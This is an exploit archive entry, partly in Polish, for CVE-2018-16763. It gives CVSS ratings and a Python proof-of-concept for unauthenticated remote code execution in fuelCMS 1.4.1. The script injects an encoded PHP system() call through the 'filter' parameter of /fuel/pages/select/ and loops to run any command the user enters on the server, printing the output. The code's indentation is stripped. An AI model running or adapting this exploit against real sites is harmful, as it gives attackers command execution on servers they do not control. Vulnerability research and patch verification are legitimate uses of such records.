fuelCMS 1.4.1 Remote Code Execution

2019.07.20

Credit: 0xd0ff9

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2018-16763

CWE: CWE-20

Ogólna skala CVSS: 7.5/10

Znaczenie: 6.4/10

Łatwość wykorzystania: 10/10

Wymagany dostęp: Zdalny

Złożoność ataku: Niska

Autoryzacja: Nie wymagana

Wpływ na poufność: Częściowy

Wpływ na integralność: Częściowy

Wpływ na dostępność: Częściowy

# Exploit Title: fuelCMS 1.4.1 - Remote Code Execution
# Date: 2019-07-19
# Exploit Author: 0xd0ff9
# Vendor Homepage: https://www.getfuelcms.com/
# Software Link: https://github.com/daylightstudio/FUEL-CMS/releases/tag/1.4.1
# Version: <= 1.4.1
# Tested on: Ubuntu - Apache2 - php5
# CVE : CVE-2018-16763
import requests
import urllib
url = "http://127.0.0.1:8881"
def find_nth_overlapping(haystack, needle, n):
start = haystack.find(needle)
while start >= 0 and n > 1:
start = haystack.find(needle, start+1)
n -= 1
return start
while 1:
xxxx = raw_input('cmd:')
burp0_url = url+"/fuel/pages/select/?filter=%27%2b%70%69%28%70%72%69%6e%74%28%24%61%3d%27%73%79%73%74%65%6d%27%29%29%2b%24%61%28%27"+urllib.quote(xxxx)+"%27%29%2b%27"
proxy = {"http":"http://127.0.0.1:8080"}
r = requests.get(burp0_url, proxies=proxy)
html = "<!DOCTYPE html>"
htmlcharset = r.text.find(html)
begin = r.text[0:20]
dup = find_nth_overlapping(r.text,begin,2)
print r.text[0:dup]

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fuelCMS 1.4.1 Remote Code Execution

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